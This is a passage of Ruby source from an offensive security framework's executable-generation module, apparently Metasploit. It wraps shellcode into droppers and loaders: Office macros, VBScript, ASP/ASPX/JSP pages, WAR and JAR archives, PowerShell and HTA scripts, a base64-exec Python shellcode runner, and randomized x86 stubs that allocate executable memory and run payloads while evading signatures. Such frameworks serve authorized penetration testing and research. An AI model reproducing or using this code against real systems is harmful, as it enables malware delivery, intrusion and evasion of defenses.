[String]1124# @param opts [Hash]1125# @option [String] :template1126# @return [String] Returns an elf1127def self.to_bsd_x64_elf(framework, code, opts = {})1128to_exe_elf(framework, opts, "template_x64_bsd.bin", code)1129end11301131# Create a 32-bit Solaris ELF containing the payload provided in +code+1132#1133# @param framework [Msf::Framework]1134# @param code [String]1135# @param opts [Hash]1136# @option [String] :template1137# @return [String] Returns an elf1138def self.to_solaris_x86_elf(framework, code, opts = {})1139to_exe_elf(framework, opts, "template_x86_solaris.bin", code)1140end11411142# Create a 64-bit Linux ELF containing the payload provided in +code+1143#1144# @param framework [Msf::Framework]1145# @param code [String]1146# @param opts [Hash]1147# @option [String] :template1148# @return [String] Returns an elf1149def self.to_linux_x64_elf(framework, code, opts = {})1150to_exe_elf(framework, opts, "template_x64_linux.bin", code)1151end11521153# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+1154#1155# @param framework [Msf::Framework]1156# @param code [String]1157# @param opts [Hash]1158# @option [String] :template1159# @return [String] Returns an elf1160def self.to_linux_x86_elf_dll(framework, code, opts = {})1161to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)1162end11631164# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+1165#1166# @param framework [Msf::Framework]1167# @param code [String]1168# @param opts [Hash]1169# @option [String] :template1170# @return [String] Returns an elf1171def self.to_linux_aarch64_elf_dll(framework, code, opts = {})1172to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)1173end11741175# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+1176#1177# @param framework [Msf::Framework]1178# @param code [String]1179# @param opts [Hash]1180# @option [String] :template1181# @return [String] Returns an elf1182def self.to_linux_x64_elf_dll(framework, code, opts = {})1183to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)1184end11851186# self.to_linux_armle_elf1187#1188# @param framework [Msf::Framework]1189# @param code [String]1190# @param opts [Hash]1191# @option [String] :template1192# @return [String] Returns an elf1193def self.to_linux_armle_elf(framework, code, opts = {})1194to_exe_elf(framework, opts, "template_armle_linux.bin", code)1195end11961197# self.to_linux_armle_elf_dll1198#1199# @param framework [Msf::Framework]1200# @param code [String]1201# @param opts [Hash]1202# @option [String] :template1203# @return [String] Returns an elf-so1204def self.to_linux_armle_elf_dll(framework, code, opts = {})1205to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)1206end12071208# self.to_linux_aarch64_elf1209#1210# @param framework [Msf::Framework]1211# @param code [String]1212# @param opts [Hash]1213# @option [String] :template1214# @return [String] Returns an elf1215def self.to_linux_aarch64_elf(framework, code, opts = {})1216to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)1217end12181219# self.to_linux_mipsle_elf1220# Little Endian1221# @param framework [Msf::Framework]1222# @param code [String]1223# @param opts [Hash]1224# @option [String] :template1225# @return [String] Returns an elf1226def self.to_linux_mipsle_elf(framework, code, opts = {})1227to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)1228end12291230# self.to_linux_mipsbe_elf1231# Big Endian1232# @param framework [Msf::Framework]1233# @param code [String]1234# @param opts [Hash]1235# @option [String] :template1236# @return [String] Returns an elf1237def self.to_linux_mipsbe_elf(framework, code, opts = {})1238to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)1239end12401241# self.to_exe_vba1242#1243# @param exes [String]1244def self.to_exe_vba(exes='')1245exe = exes.unpack('C*')1246hash_sub = {}1247idx = 01248maxbytes = 20001249var_base_idx = 01250var_base = Rex::Text.rand_text_alpha(5).capitalize12511252# First write the macro into the vba file1253hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize1254hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s1255hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s1256hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s1257hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s1258hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s1259hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s1260hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s1261hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s1262hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s1263hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s1264hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s1265hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)12661267# Function 1 extracts the binary1268hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s12691270# Function 2 executes the binary1271hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s12721273hash_sub[:data] = ""12741275# Writing the bytes of the exe to the file12761.upto(exe.length) do |pc|1277while c = exe[idx]1278hash_sub[:data] << "&H#{("%.2x" % c).upcase}"1279if idx > 1 && (idx % maxbytes) == 01280# When maxbytes are written make a new paragrpah1281hash_sub[:data] << "\r\n"1282end1283idx += 11284end1285end12861287read_replace_script_template("to_exe.vba.template", hash_sub)1288end12891290# self.to_vba1291#1292# @param framework [Msf::Framework]1293# @param code [String]1294# @param opts [Hash] Unused1295def self.to_vba(framework,code,opts = {})1296hash_sub = {}1297hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1298hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1299hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1300hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1301hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1302hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1303hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1304hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1305hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1306hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1307hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1308hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1309hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1310hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1311hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1312hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1313hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize1314hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize13151316# put the shellcode bytes into an array1317hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])13181319read_replace_script_template("to_mem.vba.template", hash_sub)1320end13211322# self.to_powershell_vba1323#1324# @param framework [Msf::Framework]1325# @param arch [String]1326# @param code [String]1327#1328def self.to_powershell_vba(framework, arch, code)1329template_path = Rex::Powershell::Templates::TEMPLATE_DIR13301331powershell = Rex::Powershell::Command.cmd_psh_payload(code,1332arch,1333template_path,1334encode_final_payload: true,1335remove_comspec: true,1336method: 'reflection')13371338# Initialize rig and value names1339rig = Rex::RandomIdentifier::Generator.new()1340rig.init_var(:sub_auto_open)1341rig.init_var(:var_powershell)13421343hash_sub = rig.to_h1344# VBA has a maximum of 24 line continuations1345line_length = powershell.length / 241346vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'13471348hash_sub[:powershell] = vba_psh13491350read_replace_script_template("to_powershell.vba.template", hash_sub)1351end13521353# self.to_exe_vba1354#1355# @param exes [String]1356# @param opts [Hash]1357# @option opts [String] :delay1358# @option opts [String] :persists1359# @option opts [String] :exe_filename1360def self.to_exe_vbs(exes = '', opts = {})1361delay = opts[:delay] || 51362persist = opts[:persist] || false13631364hash_sub = {}1365hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'1366hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'1367hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)1368hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)1369hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)1370hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)1371hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)1372hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)1373hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)1374hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)1375hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)1376hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)1377hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)1378hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)1379hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)1380hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)1381hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)1382hash_sub[:init] = ""13831384if persist1385hash_sub[:init] << "Do\r\n"1386hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"1387hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"1388hash_sub[:init] << "Loop\r\n"1389else1390hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"1391end13921393read_replace_script_template("to_exe.vbs.template", hash_sub)1394end13951396# self.to_exe_asp1397#1398# @param exes [String]1399# @param opts [Hash] Unused1400def self.to_exe_asp(exes = '', opts = {})1401hash_sub = {}1402hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small1403hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)1404hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)1405hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)1406hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)1407hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)1408hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)1409hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)1410hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)1411hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])1412read_replace_script_template("to_exe.asp.template", hash_sub)1413end14141415# self.to_exe_aspx1416#1417# @param exes [String]1418# @option opts [Hash]1419def self.to_exe_aspx(exes = '', opts = {})1420hash_sub = {}1421hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)1422hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)1423hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)1424hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)1425hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)1426hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)1427hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)1428hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])1429read_replace_script_template("to_exe.aspx.template", hash_sub)1430end14311432def self.to_mem_aspx(framework, code, exeopts = {})1433# Initialize rig and value names1434rig = Rex::RandomIdentifier::Generator.new()1435rig.init_var(:var_funcAddr)1436rig.init_var(:var_hThread)1437rig.init_var(:var_pInfo)1438rig.init_var(:var_threadId)1439rig.init_var(:var_bytearray)14401441hash_sub = rig.to_h1442hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])14431444read_replace_script_template("to_mem.aspx.template", hash_sub)1445end14461447def self.to_win32pe_psh_net(framework, code, opts={})1448Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)1449end14501451def self.to_win32pe_psh(framework, code, opts = {})1452Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)1453end14541455#1456# Reflection technique prevents the temporary .cs file being created for the .NET compiler1457# Tweaked by shellster1458# Originally from PowerSploit1459#1460def self.to_win32pe_psh_reflection(framework, code, opts = {})1461Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)1462end14631464def self.to_powershell_command(framework, arch, code)1465template_path = Rex::Powershell::Templates::TEMPLATE_DIR1466Rex::Powershell::Command.cmd_psh_payload(code,1467arch,1468template_path,1469encode_final_payload: true,1470method: 'reflection')1471end14721473def self.to_powershell_ducky_script(framework, arch, code)1474template_path = Rex::Powershell::Templates::TEMPLATE_DIR1475powershell = Rex::Powershell::Command.cmd_psh_payload(code,1476arch,1477template_path,1478encode_final_payload: true,1479method: 'reflection')1480replacers = {}1481replacers[:var_payload] = powershell1482read_replace_script_template("to_powershell.ducky_script.template", replacers)1483end14841485def self.to_powershell_hta(framework, arch, code)1486template_path = Rex::Powershell::Templates::TEMPLATE_DIR14871488powershell = Rex::Powershell::Command.cmd_psh_payload(code,1489arch,1490template_path,1491encode_final_payload: true,1492remove_comspec: true,1493method: 'reflection')14941495# Initialize rig and value names1496rig = Rex::RandomIdentifier::Generator.new()1497rig.init_var(:var_shell)1498rig.init_var(:var_fso)14991500hash_sub = rig.to_h1501hash_sub[:powershell] = powershell15021503read_replace_script_template("to_powershell.hta.template", hash_sub)1504end15051506def self.to_python_reflection(framework, arch, code, exeopts)1507unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch1508raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"1509end1510python_code = <<~PYTHON1511#{Rex::Text.to_python(code)}1512import ctypes,os1513if os.name == 'nt':1514cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)1515ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p1516ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))1517ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]1518ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))1519ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()1520else:1521import mmap1522from ctypes.util import find_library1523c = ctypes.CDLL(find_library('c'))1524c.mmap.restype = ctypes.c_void_p1525ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)1526ctypes.memmove(ptr,buf,len(buf))1527c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]1528c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)1529ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()1530PYTHON15311532"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"1533end15341535def self.to_win32pe_psh_msil(framework, code, opts = {})1536Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)1537end15381539def self.to_win32pe_psh_rc4(framework, code, opts = {})1540# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm1541# this method should be called after other to_win32pe_psh_* methods to wrap the output1542Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)1543end15441545def self.to_jsp(exe)1546hash_sub = {}1547hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)1548hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)1549hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)1550hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)1551hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)1552hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)1553hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)1554hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)1555hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)1556hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)1557hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)15581559payload_hex = exe.unpack('H*')[0]1560hash_sub[:payload] = payload_hex15611562read_replace_script_template("to_exe.jsp.template", hash_sub)1563end15641565# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a1566# payload. The jsp page converts the hexdump back to a normal binary file1567# and places it in the temp directory. The payload file is then executed.1568#1569# @see to_war1570# @param exe [String] Executable to drop and run.1571# @param opts (see to_war)1572# @option opts (see to_war)1573# @return (see to_war)1574def self.to_jsp_war(exe, opts = {})1575template = self.to_jsp(exe)1576self.to_war(template, opts)1577end15781579def self.to_win32pe_vbs(framework, code, opts = {})1580to_exe_vbs(to_win32pe(framework, code, opts), opts)1581end15821583def self.to_win64pe_vbs(framework, code, opts = {})1584to_exe_vbs(to_win64pe(framework, code, opts), opts)1585end15861587# Creates a jar file that drops the provided +exe+ into a random file name1588# in the system's temp dir and executes it.1589#1590# @see Msf::Payload::Java1591#1592# @return [Rex::Zip::Jar]1593def self.to_jar(exe, opts = {})1594spawn = opts[:spawn] || 21595exe_name = Rex::Text.rand_text_alpha(8) + ".exe"1596zip = Rex::Zip::Jar.new1597zip.add_sub("metasploit") if opts[:random]1598paths = [1599[ "metasploit", "Payload.class" ],1600]16011602zip.add_file('metasploit/', '')1603paths.each do |path_parts|1604path = ['java', path_parts].flatten.join('/')1605contents = ::MetasploitPayloads.read(path)1606zip.add_file(path_parts.join('/'), contents)1607end16081609zip.build_manifest :main_class => "metasploit.Payload"1610config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"1611zip.add_file("metasploit.dat", config)1612zip.add_file(exe_name, exe)16131614zip1615end16161617# Creates a Web Archive (WAR) file from the provided jsp code.1618#1619# On Tomcat, WAR files will be deployed into a directory with the same name1620# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the1621# server is in a default configuration, deoployment will happen1622# automatically. See1623# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat1624# documentation} for a description of how this works.1625#1626# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+1627# in the archive. This will be compiled by the victim servlet container1628# (e.g., Tomcat) and act as the main function for the servlet.1629# @param opts [Hash]1630# @option opts :jsp_name [String] Name of the <jsp-file> in the archive1631# _without the .jsp extension_. Defaults to random.1632# @option opts :app_name [String] Name of the app to put in the <servlet-name>1633# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to1634# random.1635# @option opts :extra_files [Array<String,String>] Additional files to add1636# to the archive. First element is filename, second is data1637#1638# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}1639#1640# @return [String]1641def self.to_war(jsp_raw, opts = {})1642jsp_name = opts[:jsp_name]1643jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)1644app_name = opts[:app_name]1645app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)16461647meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')1648manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"1649web_xml = %q{<?xml version="1.0"?>1650<!DOCTYPE web-app PUBLIC1651"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"1652"http://java.sun.com/dtd/web-app_2_3.dtd">1653<web-app>1654<servlet>1655<servlet-name>NAME</servlet-name>1656<jsp-file>/PAYLOAD.jsp</jsp-file>1657</servlet>1658</web-app>1659}1660web_xml.gsub!(/NAME/, app_name)1661web_xml.gsub!(/PAYLOAD/, jsp_name)16621663zip = Rex::Zip::Archive.new1664zip.add_file('META-INF/', '', meta_inf)1665zip.add_file('META-INF/MANIFEST.MF', manifest)1666zip.add_file('WEB-INF/', '')1667zip.add_file('WEB-INF/web.xml', web_xml)1668# add the payload1669zip.add_file("#{jsp_name}.jsp", jsp_raw)16701671# add extra files1672if opts[:extra_files]1673opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}1674end16751676zip.pack1677end16781679# Creates a .NET DLL which loads data into memory1680# at a specified location with read/execute permissions1681# - the data will be loaded at: base+0x20651682# - default max size is 0x8000 (32768)1683# @param base [Integer] Default location set to base 0x123400001684# @param data [String]1685# @param opts [Hash]1686# @option [String] :template1687# @option [String] :base_offset1688# @option [String] :timestamp_offset1689# @option [String] :text_offset1690# @option [String] :pack1691# @option [String] :uuid_offset1692# @return [String]1693def self.to_dotnetmem(base=0x12340000, data="", opts = {})16941695# Allow the user to specify their own DLL template1696set_template_default(opts, "dotnetmem.dll")16971698pe = self.get_file_contents(opts[:template])16991700# Configure the image base1701base_offset = opts[:base_offset] || 1801702pe[base_offset, 4] = [base].pack('V')17031704# Configure the TimeDateStamp1705timestamp_offset = opts[:timestamp_offset] || 1361706pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')17071708# XXX: Unfortunately we cant make this RWX only RX1709# Mark this segment as read-execute AND writable1710# pe[412,4] = [0xe0000020].pack("V")17111712# Write the data into the .text segment1713text_offset = opts[:text_offset] || 0x10651714text_max = opts[:text_max] || 0x80001715pack = opts[:pack] || 'a32768'1716pe[text_offset, text_max] = [data].pack(pack)17171718# Generic a randomized UUID1719uuid_offset = opts[:uuid_offset] || 376561720pe[uuid_offset,16] = Rex::Text.rand_text(16)17211722pe1723end17241725# self.encode_stub1726#1727# @param framework [Msf::Framework]1728# @param arch [String]1729# @param code [String]1730# @param platform [String]1731# @param badchars [String]1732def self.encode_stub(framework, arch, code, platform = nil, badchars = '')1733return code unless framework.encoders1734framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|1735begin1736enc = framework.encoders.create(name)1737raw = enc.encode(code, badchars, nil, platform)1738return raw if raw1739rescue1740end1741end1742nil1743end17441745def self.generate_nops(framework, arch, len, opts = {})1746opts['BadChars'] ||= ''1747opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]17481749return nil unless framework.nops1750framework.nops.each_module_ranked('Arch' => arch) do |name, mod|1751begin1752nop = framework.nops.create(name)1753raw = nop.generate_sled(len, opts)1754return raw if raw1755rescue1756# @TODO: stop rescuing everying on each of these, be selective1757end1758end1759nil1760end17611762# This wrapper is responsible for allocating RWX memory, copying the1763# target code there, setting an exception handler that calls ExitProcess1764# and finally executing the code.1765def self.win32_rwx_exec(code)1766stub_block = Rex::Payloads::Shuffle.from_graphml_file(1767File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),1768arch: ARCH_X86,1769name: 'api_call'1770)17711772stub_exit = %Q^1773; Input: EBP must be the address of 'api_call'.1774; Output: None.1775; Clobbers: EAX, EBX, (ESP will also be modified)1776; Note: Execution is not expected to (successfully) continue past this block17771778exitfunk:1779mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...1780push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )1781mov eax, ebp1782call eax ; GetVersion(); (AL will = major version and AH will = minor version)1783cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 71784jl goodbye ; Then just call the exit function...1785cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...1786jne goodbye ;1787mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread1788goodbye: ; We now perform the actual call to the exit function1789push byte 0 ; push the exit function parameter1790push ebx ; push the hash of the exit function1791call ebp ; call EXITFUNK( 0 );1792^17931794stub_alloc = %Q^1795cld ; Clear the direction flag.1796call start ; Call start, this pushes the address of 'api_call' onto the stack.1797delta: ;1798#{stub_block}1799start: ;1800pop ebp ; Pop off the address of 'api_call' for calling later.18011802allocate_size:1803mov esi, #{code.length}18041805allocate:1806push byte 0x40 ; PAGE_EXECUTE_READWRITE1807push 0x1000 ; MEM_COMMIT1808push esi ; Push the length value of the wrapped code block1809push byte 0 ; NULL as we dont care where the allocation is.1810push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )1811call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );18121813mov ebx, eax ; Store allocated address in ebx1814mov edi, eax ; Prepare EDI with the new address1815mov ecx, esi ; Prepare ECX with the length of the code1816call get_payload1817got_payload:1818pop esi ; Prepare ESI with the source to copy1819rep movsb ; Copy the payload to RWX memory1820call set_handler ; Configure error handling18211822exitblock:1823#{stub_exit}1824set_handler:1825xor eax,eax1826push dword [fs:eax]1827mov dword [fs:eax], esp1828call ebx1829jmp exitblock1830^18311832stub_final = %Q^1833get_payload:1834call got_payload1835payload:1836; Append an arbitrary payload here1837^18381839stub_alloc.gsub!('short', '')1840stub_alloc.gsub!('byte', '')18411842wrapper = ""1843# regs = %W{eax ebx ecx edx esi edi ebp}18441845cnt_jmp = 01846stub_alloc.each_line do |line|1847line.gsub!(/;.*/, '')1848line.strip!1849next if line.empty?18501851wrapper << "nop\n" if rand(2) == 018521853if rand(2) == 01854wrapper << "jmp autojump#{cnt_jmp}\n"18551.upto(rand(8)+8) do1856wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"1857end1858wrapper << "autojump#{cnt_jmp}:\n"1859cnt_jmp += 11860end1861wrapper << line + "\n"1862end18631864wrapper << stub_final18651866enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded1867enc.data + code1868end18691870# This wrapper is responsible for allocating RWX memory, copying the1871# target code there, setting an exception handler that calls ExitProcess,1872# starting the code in a new thread, and finally jumping back to the next1873# code to execute. block_offset is the offset of the next code from1874# the start of this code1875def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')1876stub_block = Rex::Payloads::Shuffle.from_graphml_file(1877File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),1878arch: ARCH_X86,1879name: 'api_call'1880)18811882stub_exit = %Q^1883; Input: EBP must be the address of 'api_call'.1884; Output: None.1885; Clobbers: EAX, EBX, (ESP will also be modified)1886; Note: Execution is not expected to (successfully) continue past this block18871888exitfunk:1889mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...1890push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )1891call ebp ; GetVersion(); (AL will = major version and AH will = minor version)1892cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 71893jl goodbye ; Then just call the exit function...1894cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...1895jne goodbye ;1896mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread1897goodbye: ; We now perform the actual call to the exit function1898push byte 0 ; push the exit function parameter1899push ebx ; push the hash of the exit function1900call ebp ; call EXITFUNK( 0 );1901^19021903stub_alloc = %Q^1904pushad ; Save registers1905cld ; Clear the direction flag.1906call start ; Call start, this pushes the address of 'api_call' onto the stack.1907delta: ;1908#{stub_block}1909start: ;1910pop ebp ; Pop off the address of 'api_call' for calling later.19111912allocate_size:1913mov esi,#{code.length}19141915allocate:1916push byte 0x40 ; PAGE_EXECUTE_READWRITE1917push 0x1000 ; MEM_COMMIT1918push esi ; Push the length value of the wrapped code block1919push byte 0 ; NULL as we dont care where the allocation is.1920push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )1921call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );19221923mov ebx, eax ; Store allocated address in ebx1924mov edi, eax ; Prepare EDI with the new address1925mov ecx, esi ; Prepare ECX with the length of the code1926call get_payload1927got_payload:1928pop esi ; Prepare ESI with the source to copy1929rep movsb ; Copy the payload to RWX memory1930call set_handler ; Configure error handling19311932exitblock:1933#{stub_exit}19341935set_handler:1936xor eax,eax1937; push dword [fs:eax]1938; mov dword [fs:eax], esp1939push eax ; LPDWORD lpThreadId (NULL)1940push eax ; DWORD dwCreationFlags (0)1941push eax ; LPVOID lpParameter (NULL)1942push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)1943push eax ; SIZE_T dwStackSize (0 for default)1944push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)1945push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )1946call ebp ; Spawn payload thread19471948pop eax ; Skip1949; pop eax ; Skip1950pop eax ; Skip1951popad ; Get our registers back1952; sub esp, 44 ; Move stack pointer back past the handler1953^19541955stub_final = %Q^1956get_payload:1957call got_payload1958payload:1959; Append an arbitrary payload here1960^196119621963stub_alloc.gsub!('short', '')1964stub_alloc.gsub!('byte', '')19651966wrapper = ""1967# regs = %W{eax ebx ecx edx esi edi ebp}19681969cnt_jmp = 01970cnt_nop = 6419711972stub_alloc.each_line do |line|1973line.gsub!(/;.*/, '')1974line.strip!1975next if line.empty?19761977if cnt_nop > 0 && rand(4) == 01978wrapper << "nop\n"1979cnt_nop -= 11980end19811982if cnt_nop > 0 && rand(16) == 01983cnt_nop -= 